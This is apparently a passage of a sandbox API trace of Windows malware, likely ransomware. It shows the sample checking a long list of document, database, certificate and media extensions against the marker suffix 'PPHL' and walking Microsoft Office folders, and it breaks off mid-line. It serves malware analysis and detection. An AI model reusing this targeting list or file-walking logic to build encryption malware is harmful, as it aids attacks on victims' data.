[0059.788] lstrlenW (lpString=".cdr") returned 4 [0059.788] lstrcmpiW (lpString1=".cdr", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".cer") returned 4 [0059.788] lstrcmpiW (lpString1=".cer", lpString2="PPHL") returned -1 [0059.788] lstrlenW (lpString=".cf") returned 3 [0059.788] lstrcmpiW (lpString1=".cf", lpString2="PHL") returned -1 [0059.789] lstrlenW (lpString=".cfc") returned 4 [0059.789] lstrcmpiW (lpString1=".cfc", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".cfm") returned 4 [0059.789] lstrcmpiW (lpString1=".cfm", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".cfml") returned 5 [0059.789] lstrcmpiW (lpString1=".cfml", lpString2=".PPHL") returned -1 [0059.789] lstrlenW (lpString=".cfu") returned 4 [0059.789] lstrcmpiW (lpString1=".cfu", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".chm") returned 4 [0059.789] lstrcmpiW (lpString1=".chm", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".cin") returned 4 [0059.789] lstrcmpiW (lpString1=".cin", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".class") returned 6 [0059.789] lstrcmpiW (lpString1=".class", lpString2="].PPHL") returned -1 [0059.789] lstrlenW (lpString=".clx") returned 4 [0059.789] lstrcmpiW (lpString1=".clx", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".config") returned 7 [0059.789] lstrcmpiW (lpString1=".config", lpString2="m].PPHL") returned -1 [0059.789] lstrlenW (lpString=".cpp") returned 4 [0059.789] lstrcmpiW (lpString1=".cpp", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".cr2") returned 4 [0059.789] lstrcmpiW (lpString1=".cr2", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".crt") returned 4 [0059.789] lstrcmpiW (lpString1=".crt", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".crw") returned 4 [0059.789] lstrcmpiW (lpString1=".crw", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".cs") returned 3 [0059.789] lstrcmpiW (lpString1=".cs", lpString2="PHL") returned -1 [0059.789] lstrlenW (lpString=".css") returned 4 [0059.789] lstrcmpiW (lpString1=".css", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".csv") returned 4 [0059.789] lstrcmpiW (lpString1=".csv", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".cub") returned 4 [0059.789] lstrcmpiW (lpString1=".cub", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".dae") returned 4 [0059.789] lstrcmpiW (lpString1=".dae", lpString2="PPHL") returned -1 [0059.789] lstrlenW (lpString=".dat") returned 4 [0059.790] lstrcmpiW (lpString1=".dat", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".db") returned 3 [0059.790] lstrcmpiW (lpString1=".db", lpString2="PHL") returned -1 [0059.790] lstrlenW (lpString=".dbf") returned 4 [0059.790] lstrcmpiW (lpString1=".dbf", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".dbx") returned 4 [0059.790] lstrcmpiW (lpString1=".dbx", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".dc3") returned 4 [0059.790] lstrcmpiW (lpString1=".dc3", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".dcm") returned 4 [0059.790] lstrcmpiW (lpString1=".dcm", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".dcr") returned 4 [0059.790] lstrcmpiW (lpString1=".dcr", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".der") returned 4 [0059.790] lstrcmpiW (lpString1=".der", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".dib") returned 4 [0059.790] lstrcmpiW (lpString1=".dib", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".dic") returned 4 [0059.790] lstrcmpiW (lpString1=".dic", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".dif") returned 4 [0059.790] lstrcmpiW (lpString1=".dif", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".divx") returned 5 [0059.790] lstrcmpiW (lpString1=".divx", lpString2=".PPHL") returned -1 [0059.790] lstrlenW (lpString=".djvu") returned 5 [0059.790] lstrcmpiW (lpString1=".djvu", lpString2=".PPHL") returned -1 [0059.790] lstrlenW (lpString=".dng") returned 4 [0059.790] lstrcmpiW (lpString1=".dng", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".doc") returned 4 [0059.790] lstrcmpiW (lpString1=".doc", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".docm") returned 5 [0059.790] lstrcmpiW (lpString1=".docm", lpString2=".PPHL") returned -1 [0059.790] lstrlenW (lpString=".docx") returned 5 [0059.790] lstrcmpiW (lpString1=".docx", lpString2=".PPHL") returned -1 [0059.790] lstrlenW (lpString=".dot") returned 4 [0059.790] lstrcmpiW (lpString1=".dot", lpString2="PPHL") returned -1 [0059.790] lstrlenW (lpString=".dotm") returned 5 [0059.790] lstrcmpiW (lpString1=".dotm", lpString2=".PPHL") returned -1 [0059.790] lstrlenW (lpString=".dotx") returned 5 [0059.791] lstrcmpiW (lpString1=".dotx", lpString2=".PPHL") returned -1 [0059.791] lstrlenW (lpString=".dpx") returned 4 [0059.791] lstrcmpiW (lpString1=".dpx", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".dqy") returned 4 [0059.791] lstrcmpiW (lpString1=".dqy", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".dsn") returned 4 [0059.791] lstrcmpiW (lpString1=".dsn", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".dt") returned 3 [0059.791] lstrcmpiW (lpString1=".dt", lpString2="PHL") returned -1 [0059.791] lstrlenW (lpString=".dtd") returned 4 [0059.791] lstrcmpiW (lpString1=".dtd", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".dwg") returned 4 [0059.791] lstrcmpiW (lpString1=".dwg", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".dwt") returned 4 [0059.791] lstrcmpiW (lpString1=".dwt", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".dx") returned 3 [0059.791] lstrcmpiW (lpString1=".dx", lpString2="PHL") returned -1 [0059.791] lstrlenW (lpString=".dxf") returned 4 [0059.791] lstrcmpiW (lpString1=".dxf", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".edml") returned 5 [0059.791] lstrcmpiW (lpString1=".edml", lpString2=".PPHL") returned -1 [0059.791] lstrlenW (lpString=".efd") returned 4 [0059.791] lstrcmpiW (lpString1=".efd", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".elf") returned 4 [0059.791] lstrcmpiW (lpString1=".elf", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".emf") returned 4 [0059.791] lstrcmpiW (lpString1=".emf", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".emz") returned 4 [0059.791] lstrcmpiW (lpString1=".emz", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".epf") returned 4 [0059.791] lstrcmpiW (lpString1=".epf", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".eps") returned 4 [0059.791] lstrcmpiW (lpString1=".eps", lpString2="PPHL") returned -1 [0059.791] lstrlenW (lpString=".epsf") returned 5 [0059.791] lstrcmpiW (lpString1=".epsf", lpString2=".PPHL") returned -1 [0059.791] lstrlenW (lpString=".epsp") returned 5 [0059.792] lstrcmpiW (lpString1=".epsp", lpString2=".PPHL") returned -1 [0059.792] lstrlenW (lpString=".erf") returned 4 [0059.792] lstrcmpiW (lpString1=".erf", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".exr") returned 4 [0059.792] lstrcmpiW (lpString1=".exr", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".f4v") returned 4 [0059.792] lstrcmpiW (lpString1=".f4v", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".fido") returned 5 [0059.792] lstrcmpiW (lpString1=".fido", lpString2=".PPHL") returned -1 [0059.792] lstrlenW (lpString=".flm") returned 4 [0059.792] lstrcmpiW (lpString1=".flm", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".flv") returned 4 [0059.792] lstrcmpiW (lpString1=".flv", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".frm") returned 4 [0059.792] lstrcmpiW (lpString1=".frm", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".fxg") returned 4 [0059.792] lstrcmpiW (lpString1=".fxg", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".geo") returned 4 [0059.792] lstrcmpiW (lpString1=".geo", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".gif") returned 4 [0059.792] lstrcmpiW (lpString1=".gif", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".grs") returned 4 [0059.792] lstrcmpiW (lpString1=".grs", lpString2="PPHL") returned -1 [0059.792] lstrlenW (lpString=".gz") returned 3 [0059.793] lstrcmpiW (lpString1=".gz", lpString2="PHL") returned -1 [0059.793] lstrlenW (lpString=".h") returned 2 [0059.793] lstrcmpiW (lpString1=".h", lpString2="HL") returned -1 [0059.793] lstrlenW (lpString=".hdr") returned 4 [0059.793] lstrcmpiW (lpString1=".hdr", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".hpp") returned 4 [0059.793] lstrcmpiW (lpString1=".hpp", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".hta") returned 4 [0059.793] lstrcmpiW (lpString1=".hta", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".htc") returned 4 [0059.793] lstrcmpiW (lpString1=".htc", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".htm") returned 4 [0059.793] lstrcmpiW (lpString1=".htm", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".html") returned 5 [0059.793] lstrcmpiW (lpString1=".html", lpString2=".PPHL") returned -1 [0059.793] lstrlenW (lpString=".icb") returned 4 [0059.793] lstrcmpiW (lpString1=".icb", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".ics") returned 4 [0059.793] lstrcmpiW (lpString1=".ics", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".iff") returned 4 [0059.793] lstrcmpiW (lpString1=".iff", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".inc") returned 4 [0059.793] lstrcmpiW (lpString1=".inc", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".indd") returned 5 [0059.793] lstrcmpiW (lpString1=".indd", lpString2=".PPHL") returned -1 [0059.793] lstrlenW (lpString=".ini") returned 4 [0059.793] lstrcmpiW (lpString1=".ini", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".iqy") returned 4 [0059.793] lstrcmpiW (lpString1=".iqy", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".j2c") returned 4 [0059.793] lstrcmpiW (lpString1=".j2c", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".j2k") returned 4 [0059.793] lstrcmpiW (lpString1=".j2k", lpString2="PPHL") returned -1 [0059.793] lstrlenW (lpString=".java") returned 5 [0059.794] lstrcmpiW (lpString1=".java", lpString2=".PPHL") returned -1 [0059.794] lstrlenW (lpString=".jp2") returned 4 [0059.794] lstrcmpiW (lpString1=".jp2", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".jpc") returned 4 [0059.794] lstrcmpiW (lpString1=".jpc", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".jpe") returned 4 [0059.794] lstrcmpiW (lpString1=".jpe", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".jpeg") returned 5 [0059.794] lstrcmpiW (lpString1=".jpeg", lpString2=".PPHL") returned -1 [0059.794] lstrlenW (lpString=".jpf") returned 4 [0059.794] lstrcmpiW (lpString1=".jpf", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".jpg") returned 4 [0059.794] lstrcmpiW (lpString1=".jpg", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".jpx") returned 4 [0059.794] lstrcmpiW (lpString1=".jpx", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".js") returned 3 [0059.794] lstrcmpiW (lpString1=".js", lpString2="PHL") returned -1 [0059.794] lstrlenW (lpString=".jsf") returned 4 [0059.794] lstrcmpiW (lpString1=".jsf", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".json") returned 5 [0059.794] lstrcmpiW (lpString1=".json", lpString2=".PPHL") returned -1 [0059.794] lstrlenW (lpString=".jsp") returned 4 [0059.794] lstrcmpiW (lpString1=".jsp", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".kdc") returned 4 [0059.794] lstrcmpiW (lpString1=".kdc", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".kmz") returned 4 [0059.794] lstrcmpiW (lpString1=".kmz", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".kwm") returned 4 [0059.794] lstrcmpiW (lpString1=".kwm", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".lasso") returned 6 [0059.794] lstrcmpiW (lpString1=".lasso", lpString2="].PPHL") returned -1 [0059.794] lstrlenW (lpString=".lbi") returned 4 [0059.794] lstrcmpiW (lpString1=".lbi", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".lgf") returned 4 [0059.794] lstrcmpiW (lpString1=".lgf", lpString2="PPHL") returned -1 [0059.794] lstrlenW (lpString=".lgp") returned 4 [0059.794] lstrcmpiW (lpString1=".lgp", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".log") returned 4 [0059.795] lstrcmpiW (lpString1=".log", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".m1v") returned 4 [0059.795] lstrcmpiW (lpString1=".m1v", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".m4a") returned 4 [0059.795] lstrcmpiW (lpString1=".m4a", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".m4v") returned 4 [0059.795] lstrcmpiW (lpString1=".m4v", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".max") returned 4 [0059.795] lstrcmpiW (lpString1=".max", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".md") returned 3 [0059.795] lstrcmpiW (lpString1=".md", lpString2="PHL") returned -1 [0059.795] lstrlenW (lpString=".mda") returned 4 [0059.795] lstrcmpiW (lpString1=".mda", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mdb") returned 4 [0059.795] lstrcmpiW (lpString1=".mdb", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mde") returned 4 [0059.795] lstrcmpiW (lpString1=".mde", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mdf") returned 4 [0059.795] lstrcmpiW (lpString1=".mdf", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mdw") returned 4 [0059.795] lstrcmpiW (lpString1=".mdw", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mef") returned 4 [0059.795] lstrcmpiW (lpString1=".mef", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mft") returned 4 [0059.795] lstrcmpiW (lpString1=".mft", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mfw") returned 4 [0059.795] lstrcmpiW (lpString1=".mfw", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mht") returned 4 [0059.795] lstrcmpiW (lpString1=".mht", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mhtml") returned 6 [0059.795] lstrcmpiW (lpString1=".mhtml", lpString2="].PPHL") returned -1 [0059.795] lstrlenW (lpString=".mka") returned 4 [0059.795] lstrcmpiW (lpString1=".mka", lpString2="PPHL") returned -1 [0059.795] lstrlenW (lpString=".mkidx") returned 6 [0059.795] lstrcmpiW (lpString1=".mkidx", lpString2="].PPHL") returned -1 [0059.796] lstrlenW (lpString=".mkv") returned 4 [0059.796] lstrcmpiW (lpString1=".mkv", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".mos") returned 4 [0059.796] lstrcmpiW (lpString1=".mos", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".mov") returned 4 [0059.796] lstrcmpiW (lpString1=".mov", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".mp3") returned 4 [0059.796] lstrcmpiW (lpString1=".mp3", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".mp4") returned 4 [0059.796] lstrcmpiW (lpString1=".mp4", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".mpeg") returned 5 [0059.796] lstrcmpiW (lpString1=".mpeg", lpString2=".PPHL") returned -1 [0059.796] lstrlenW (lpString=".mpg") returned 4 [0059.796] lstrcmpiW (lpString1=".mpg", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".mpv") returned 4 [0059.796] lstrcmpiW (lpString1=".mpv", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".mrw") returned 4 [0059.796] lstrcmpiW (lpString1=".mrw", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".msg") returned 4 [0059.796] lstrcmpiW (lpString1=".msg", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".mxl") returned 4 [0059.796] lstrcmpiW (lpString1=".mxl", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".myd") returned 4 [0059.796] lstrcmpiW (lpString1=".myd", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".myi") returned 4 [0059.796] lstrcmpiW (lpString1=".myi", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".nef") returned 4 [0059.796] lstrcmpiW (lpString1=".nef", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".nrw") returned 4 [0059.796] lstrcmpiW (lpString1=".nrw", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".obj") returned 4 [0059.796] lstrcmpiW (lpString1=".obj", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".odb") returned 4 [0059.796] lstrcmpiW (lpString1=".odb", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".odc") returned 4 [0059.796] lstrcmpiW (lpString1=".odc", lpString2="PPHL") returned -1 [0059.796] lstrlenW (lpString=".odm") returned 4 [0059.796] lstrcmpiW (lpString1=".odm", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".odp") returned 4 [0059.797] lstrcmpiW (lpString1=".odp", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".ods") returned 4 [0059.797] lstrcmpiW (lpString1=".ods", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".oft") returned 4 [0059.797] lstrcmpiW (lpString1=".oft", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".one") returned 4 [0059.797] lstrcmpiW (lpString1=".one", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".onepkg") returned 7 [0059.797] lstrcmpiW (lpString1=".onepkg", lpString2="m].PPHL") returned -1 [0059.797] lstrlenW (lpString=".onetoc2") returned 8 [0059.797] lstrcmpiW (lpString1=".onetoc2", lpString2="om].PPHL") returned -1 [0059.797] lstrlenW (lpString=".opt") returned 4 [0059.797] lstrcmpiW (lpString1=".opt", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".oqy") returned 4 [0059.797] lstrcmpiW (lpString1=".oqy", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".orf") returned 4 [0059.797] lstrcmpiW (lpString1=".orf", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".p12") returned 4 [0059.797] lstrcmpiW (lpString1=".p12", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".p7b") returned 4 [0059.797] lstrcmpiW (lpString1=".p7b", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".p7c") returned 4 [0059.797] lstrcmpiW (lpString1=".p7c", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".pam") returned 4 [0059.797] lstrcmpiW (lpString1=".pam", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".pbm") returned 4 [0059.797] lstrcmpiW (lpString1=".pbm", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".pct") returned 4 [0059.797] lstrcmpiW (lpString1=".pct", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".pcx") returned 4 [0059.797] lstrcmpiW (lpString1=".pcx", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".pdd") returned 4 [0059.797] lstrcmpiW (lpString1=".pdd", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".pdf") returned 4 [0059.797] lstrcmpiW (lpString1=".pdf", lpString2="PPHL") returned -1 [0059.797] lstrlenW (lpString=".pdp") returned 4 [0059.797] lstrcmpiW (lpString1=".pdp", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pef") returned 4 [0059.798] lstrcmpiW (lpString1=".pef", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pem") returned 4 [0059.798] lstrcmpiW (lpString1=".pem", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pff") returned 4 [0059.798] lstrcmpiW (lpString1=".pff", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pfm") returned 4 [0059.798] lstrcmpiW (lpString1=".pfm", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pfx") returned 4 [0059.798] lstrcmpiW (lpString1=".pfx", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pgm") returned 4 [0059.798] lstrcmpiW (lpString1=".pgm", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".php") returned 4 [0059.798] lstrcmpiW (lpString1=".php", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".php3") returned 5 [0059.798] lstrcmpiW (lpString1=".php3", lpString2=".PPHL") returned -1 [0059.798] lstrlenW (lpString=".php4") returned 5 [0059.798] lstrcmpiW (lpString1=".php4", lpString2=".PPHL") returned -1 [0059.798] lstrlenW (lpString=".php5") returned 5 [0059.798] lstrcmpiW (lpString1=".php5", lpString2=".PPHL") returned -1 [0059.798] lstrlenW (lpString=".phtml") returned 6 [0059.798] lstrcmpiW (lpString1=".phtml", lpString2="].PPHL") returned -1 [0059.798] lstrlenW (lpString=".pict") returned 5 [0059.798] lstrcmpiW (lpString1=".pict", lpString2=".PPHL") returned -1 [0059.798] lstrlenW (lpString=".pl") returned 3 [0059.798] lstrcmpiW (lpString1=".pl", lpString2="PHL") returned -1 [0059.798] lstrlenW (lpString=".pls") returned 4 [0059.798] lstrcmpiW (lpString1=".pls", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pm") returned 3 [0059.798] lstrcmpiW (lpString1=".pm", lpString2="PHL") returned -1 [0059.798] lstrlenW (lpString=".png") returned 4 [0059.798] lstrcmpiW (lpString1=".png", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pnm") returned 4 [0059.798] lstrcmpiW (lpString1=".pnm", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".pot") returned 4 [0059.798] lstrcmpiW (lpString1=".pot", lpString2="PPHL") returned -1 [0059.798] lstrlenW (lpString=".potm") returned 5 [0059.798] lstrcmpiW (lpString1=".potm", lpString2=".PPHL") returned -1 [0059.799] lstrlenW (lpString=".potx") returned 5 [0059.799] lstrcmpiW (lpString1=".potx", lpString2=".PPHL") returned -1 [0059.799] lstrlenW (lpString=".ppa") returned 4 [0059.799] lstrcmpiW (lpString1=".ppa", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".ppam") returned 5 [0059.799] lstrcmpiW (lpString1=".ppam", lpString2=".PPHL") returned -1 [0059.799] lstrlenW (lpString=".ppm") returned 4 [0059.799] lstrcmpiW (lpString1=".ppm", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".pps") returned 4 [0059.799] lstrcmpiW (lpString1=".pps", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".ppsm") returned 5 [0059.799] lstrcmpiW (lpString1=".ppsm", lpString2=".PPHL") returned 1 [0059.799] lstrlenW (lpString=".ppt") returned 4 [0059.799] lstrcmpiW (lpString1=".ppt", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".pptm") returned 5 [0059.799] lstrcmpiW (lpString1=".pptm", lpString2=".PPHL") returned 1 [0059.799] lstrlenW (lpString=".pptx") returned 5 [0059.799] lstrcmpiW (lpString1=".pptx", lpString2=".PPHL") returned 1 [0059.799] lstrlenW (lpString=".prn") returned 4 [0059.799] lstrcmpiW (lpString1=".prn", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".ps") returned 3 [0059.799] lstrcmpiW (lpString1=".ps", lpString2="PHL") returned -1 [0059.799] lstrlenW (lpString=".psb") returned 4 [0059.799] lstrcmpiW (lpString1=".psb", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".psd") returned 4 [0059.799] lstrcmpiW (lpString1=".psd", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".pst") returned 4 [0059.799] lstrcmpiW (lpString1=".pst", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".ptx") returned 4 [0059.799] lstrcmpiW (lpString1=".ptx", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".pub") returned 4 [0059.799] lstrcmpiW (lpString1=".pub", lpString2="PPHL") returned -1 [0059.799] lstrlenW (lpString=".pwm") returned 4 [0059.799] lstrcmpiW (lpString1=".pwm", lpString2="PPHL") returned -1 [0062.370] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x3abf094 | out: lpFindFileData=0x3abf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.370] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x3abf094 | out: lpFindFileData=0x3abf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0066.420] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*", lpFindFileData=0x3abf094 | out: lpFindFileData=0x3abf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6c3b30 [0066.464] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x3abf094 | out: lpFindFileData=0x3abf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.464] FindNextFileW (in: hFindFile=0x6c3b30, lpFindFileData=0x3abf094 | out: lpFindFileData=0x3abf094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f046d00, ftCreationTime.dwHighDateTime=0x1bd9a89, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6f046d00, ftLastWriteTime.dwHighDateTime=0x1bd9a89, nFileSizeHigh=0x0, nFileSizeLow=0xf77, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0143743.GIF", cAlternateFileName="")) returned 1 [0067.093] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\1033\\*", lpFindFileData=0x3abf094 | out: lpFindFileData=0x3abf094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 